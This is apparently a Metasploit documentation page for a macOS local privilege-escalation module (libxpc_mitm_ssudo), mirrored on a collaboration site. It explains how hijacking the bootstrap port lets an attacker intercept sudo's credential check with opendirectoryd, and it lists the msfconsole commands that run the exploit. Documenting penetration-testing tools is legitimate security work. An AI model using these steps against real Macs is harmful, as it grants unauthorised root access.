Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/documentation/modules/exploit/osx/local/libxpc_mitm_ssudo.md
Views: 11655
Vulnerable Application
This vulnerability works against OSX <= 10.13.3 (High Sierra). It has been tested against El Capitan (10.11), Sierra (10.12) and High Sierra, however it may work on older versions.
The task_set_special_port API allows callers to overwrite their bootstrap port, which is used to communicate with launchd. This port is inherited across forks: child processes will use the same bootstrap port as the parent. By overwriting the bootstrap port and forking a child processes, we can now gain a MitM position between our child and launchd.
To gain root we target the sudo binary and intercept its communication with opendirectoryd, which is used by sudo to verify credentials. We modify the replies from opendirectoryd to make it look like our password was valid.
Verification Steps
Get a session on a vulnerable system
use exploit/osx/local/libxpc_mitm_ssudo
set lhost <IP>
set lport <PORT>
set session <session_id>
run